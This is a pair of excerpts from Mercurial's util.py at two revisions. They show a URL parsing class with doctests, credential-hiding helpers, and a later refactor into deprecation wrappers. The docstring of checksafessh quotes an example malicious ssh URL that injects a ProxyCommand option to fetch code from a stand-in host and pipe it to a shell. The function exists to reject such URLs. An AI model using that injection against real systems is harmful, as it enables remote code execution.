mercurial/util.py

46906:33524c46a092

import mmap
import os
import platform as pyplatform
import re as remod
import shutil
import socket
import stat
import sys
import time
import traceback
import warnings

from .utils import (
    compression,
    hashutil,
    procutil,
    stringutil,
)

if pycompat.TYPE_CHECKING:
    from typing import (
        Iterator,
        List,
        Optional,
        Tuple,
        Union,
    )


base85 = policy.importmod('base85')
osutil = policy.importmod('osutil')

        mapping[prefix_char] = prefix_char
    r = remod.compile(br'%s(%s)' % (prefix, patterns))
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)


def getport(port):
    # type: (Union[bytes, int]) -> int
    """Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.
    """
    try:
        return int(port)
    except ValueError:
        pass

    try:
        return socket.getservbyname(pycompat.sysstr(port))
    except socket.error:
        raise error.Abort(
            _(b"no port number associated with service '%s'") % port
        )


class url(object):
    r"""Reliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url(b'file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url(b'file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url(b'bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url(b'bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(br'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(br'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(br'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(br'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url(b'ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url(b'ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url(b'http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>

    Empty path:

    >>> url(b'')
    <url path: ''>
    >>> url(b'#a')
    <url path: '', fragment: 'a'>
    >>> url(b'http://host/')
    <url scheme: 'http', host: 'host', path: ''>
    >>> url(b'http://host/#a')
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>

    Only scheme:

    >>> url(b'http:')
    <url scheme: 'http'>
    """

    _safechars = b"!~*'()+"
    _safepchars = b"/!~*'()+:\\"
    _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match

    def __init__(self, path, parsequery=True, parsefragment=True):
        # type: (bytes, bool, bool) -> None
        # We slowly chomp away at path until we have only the path left
        self.scheme = self.user = self.passwd = self.host = None
        self.port = self.path = self.query = self.fragment = None
        self._localpath = True
        self._hostport = b''
        self._origpath = path

        if parsefragment and b'#' in path:
            path, self.fragment = path.split(b'#', 1)

        # special case for Windows drive letters and UNC paths
        if hasdriveletter(path) or path.startswith(b'\\\\'):
            self.path = path
            return

        # For compatibility reasons, we can't handle bundle paths as
        # normal URLS
        if path.startswith(b'bundle:'):
            self.scheme = b'bundle'
            path = path[7:]
            if path.startswith(b'//'):
                path = path[2:]
            self.path = path
            return

        if self._matchscheme(path):
            parts = path.split(b':', 1)
            if parts[0]:
                self.scheme, path = parts
                self._localpath = False

        if not path:
            path = None
            if self._localpath:
                self.path = b''
                return
        else:
            if self._localpath:
                self.path = path
                return

            if parsequery and b'?' in path:
                path, self.query = path.split(b'?', 1)
                if not path:
                    path = None
                if not self.query:
                    self.query = None

            # // is required to specify a host/authority
            if path and path.startswith(b'//'):
                parts = path[2:].split(b'/', 1)
                if len(parts) > 1:
                    self.host, path = parts
                else:
                    self.host = parts[0]
                    path = None
                if not self.host:
                    self.host = None
                    # path of file:///d is /d
                    # path of file:///d:/ is d:/, not /d:/
                    if path and not hasdriveletter(path):
                        path = b'/' + path

            if self.host and b'@' in self.host:
                self.user, self.host = self.host.rsplit(b'@', 1)
                if b':' in self.user:
                    self.user, self.passwd = self.user.split(b':', 1)
                if not self.host:
                    self.host = None

            # Don't split on colons in IPv6 addresses without ports
            if (
                self.host
                and b':' in self.host
                and not (
                    self.host.startswith(b'[') and self.host.endswith(b']')
                )
            ):
                self._hostport = self.host
                self.host, self.port = self.host.rsplit(b':', 1)
                if not self.host:
                    self.host = None

            if (
                self.host
                and self.scheme == b'file'
                and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
            ):
                raise error.Abort(
                    _(b'file:// URLs can only refer to localhost')
                )

        self.path = path

        # leave the query string escaped
        for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
            v = getattr(self, a)
            if v is not None:
                setattr(self, a, urlreq.unquote(v))

    def copy(self):
        u = url(b'temporary useless value')
        u.path = self.path
        u.scheme = self.scheme
        u.user = self.user
        u.passwd = self.passwd
        u.host = self.host
        u.path = self.path
        u.query = self.query
        u.fragment = self.fragment
        u._localpath = self._localpath
        u._hostport = self._hostport
        u._origpath = self._origpath
        return u

    @encoding.strmethod
    def __repr__(self):
        attrs = []
        for a in (
            b'scheme',
            b'user',
            b'passwd',
            b'host',
            b'port',
            b'path',
            b'query',
            b'fragment',
        ):
            v = getattr(self, a)
            if v is not None:
                attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
        return b'<url %s>' % b', '.join(attrs)

    def __bytes__(self):
        r"""Join the URL's components back into a URL string.

        Examples:

        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> bytes(url(b'http://localhost:80//'))
        'http://localhost:80//'
        >>> bytes(url(b'http://localhost:80/'))
        'http://localhost:80/'
        >>> bytes(url(b'http://localhost:80'))
        'http://localhost:80/'
        >>> bytes(url(b'bundle:foo'))
        'bundle:foo'
        >>> bytes(url(b'bundle://../foo'))
        'bundle:../foo'
        >>> bytes(url(b'path'))
        'path'
        >>> bytes(url(b'file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print(url(br'bundle:foo\bar'))
        bundle:foo\bar
        >>> print(url(br'file:///D:\data\hg'))
        file:///D:\data\hg
        """
        if self._localpath:
            s = self.path
            if self.scheme == b'bundle':
                s = b'bundle:' + s
            if self.fragment:
                s += b'#' + self.fragment
            return s

        s = self.scheme + b':'
        if self.user or self.passwd or self.host:
            s += b'//'
        elif self.scheme and (
            not self.path
            or self.path.startswith(b'/')
            or hasdriveletter(self.path)
        ):
            s += b'//'
            if hasdriveletter(self.path):
                s += b'/'
        if self.user:
            s += urlreq.quote(self.user, safe=self._safechars)
        if self.passwd:
            s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
        if self.user or self.passwd:
            s += b'@'
        if self.host:
            if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                s += urlreq.quote(self.host)
            else:
                s += self.host
        if self.port:
            s += b':' + urlreq.quote(self.port)
        if self.host:
            s += b'/'
        if self.path:
            # TODO: similar to the query string, we should not unescape the
            # path when we store it, the path might contain '%2f' = '/',
            # which we should *not* escape.
            s += urlreq.quote(self.path, safe=self._safepchars)
        if self.query:
            # we store the query in escaped form.
            s += b'?' + self.query
        if self.fragment is not None:
            s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
        return s

    __str__ = encoding.strmethod(__bytes__)

    def authinfo(self):
        user, passwd = self.user, self.passwd
        try:
            self.user, self.passwd = None, None
            s = bytes(self)
        finally:
            self.user, self.passwd = user, passwd
        if not self.user:
            return (s, None)
        # authinfo[1] is passed to urllib2 password manager, and its
        # URIs must not contain credentials. The host is passed in the
        # URIs list because Python < 2.4.3 uses only that to search for
        # a password.
        return (s, (None, (s, self.host), self.user, self.passwd or b''))

    def isabs(self):
        if self.scheme and self.scheme != b'file':
            return True  # remote URL
        if hasdriveletter(self.path):
            return True  # absolute for our purposes - can't be joined()
        if self.path.startswith(br'\\'):
            return True  # Windows UNC path
        if self.path.startswith(b'/'):
            return True  # POSIX-style
        return False

    def localpath(self):
        # type: () -> bytes
        if self.scheme == b'file' or self.scheme == b'bundle':
            path = self.path or b'/'
            # For Windows, we need to promote hosts containing drive
            # letters to paths with drive letters.
            if hasdriveletter(self._hostport):
                path = self._hostport + b'/' + self.path
            elif (
                self.host is not None and self.path and not hasdriveletter(path)
            ):
                path = b'/' + path
            return path
        return self._origpath

    def islocal(self):
        '''whether localpath will return something that posixfile can open'''
        return (
            not self.scheme
            or self.scheme == b'file'
            or self.scheme == b'bundle'
        )


def hasscheme(path):
    # type: (bytes) -> bool
    return bool(url(path).scheme)  # cast to help pytype


def hasdriveletter(path):
    # type: (bytes) -> bool
    return bool(path) and path[1:2] == b':' and path[0:1].isalpha()


def urllocalpath(path):
    # type: (bytes) -> bytes
    return url(path, parsequery=False, parsefragment=False).localpath()


def checksafessh(path):
    # type: (bytes) -> None
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
        raise error.Abort(
            _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
        )


def hidepassword(u):
    # type: (bytes) -> bytes
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = b'***'
    return bytes(u)


def removeauth(u):
    # type: (bytes) -> bytes
    '''remove all authentication information from a url string'''
    u = url(u)
    u.user = u.passwd = None
    return bytes(u)


timecount = unitcountfn(
    (1, 1e3, _(b'%.0f s')),
    (100, 1, _(b'%.1f s')),

46907:ffd3e823a7e5

import mmap
import os
import platform as pyplatform
import re as remod
import shutil
import stat
import sys
import time
import traceback
import warnings

from .utils import (
    compression,
    hashutil,
    procutil,
    stringutil,
    urlutil,
)

if pycompat.TYPE_CHECKING:
    from typing import (
        Iterator,
        List,
        Optional,
        Tuple,
    )


base85 = policy.importmod('base85')
osutil = policy.importmod('osutil')

        mapping[prefix_char] = prefix_char
    r = remod.compile(br'%s(%s)' % (prefix, patterns))
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)


def getport(*args, **kwargs):
    msg = b'getport(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.getport(*args, **kwargs)


def url(*args, **kwargs):
    msg = b'url(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.url(*args, **kwargs)


def hasscheme(*args, **kwargs):
    msg = b'hasscheme(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.hasscheme(*args, **kwargs)


def hasdriveletter(*args, **kwargs):
    msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.hasdriveletter(*args, **kwargs)


def urllocalpath(*args, **kwargs):
    msg = b'urllocalpath(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.urllocalpath(*args, **kwargs)


def checksafessh(*args, **kwargs):
    msg = b'checksafessh(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.checksafessh(*args, **kwargs)


def hidepassword(*args, **kwargs):
    msg = b'hidepassword(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.hidepassword(*args, **kwargs)


def removeauth(*args, **kwargs):
    msg = b'removeauth(...) moved to mercurial.utils.urlutil'
    nouideprecwarn(msg, b'6.0', stacklevel=2)
    return urlutil.removeauth(*args, **kwargs)


timecount = unitcountfn(
    (1, 1e3, _(b'%.0f s')),
    (100, 1, _(b'%.1f s')),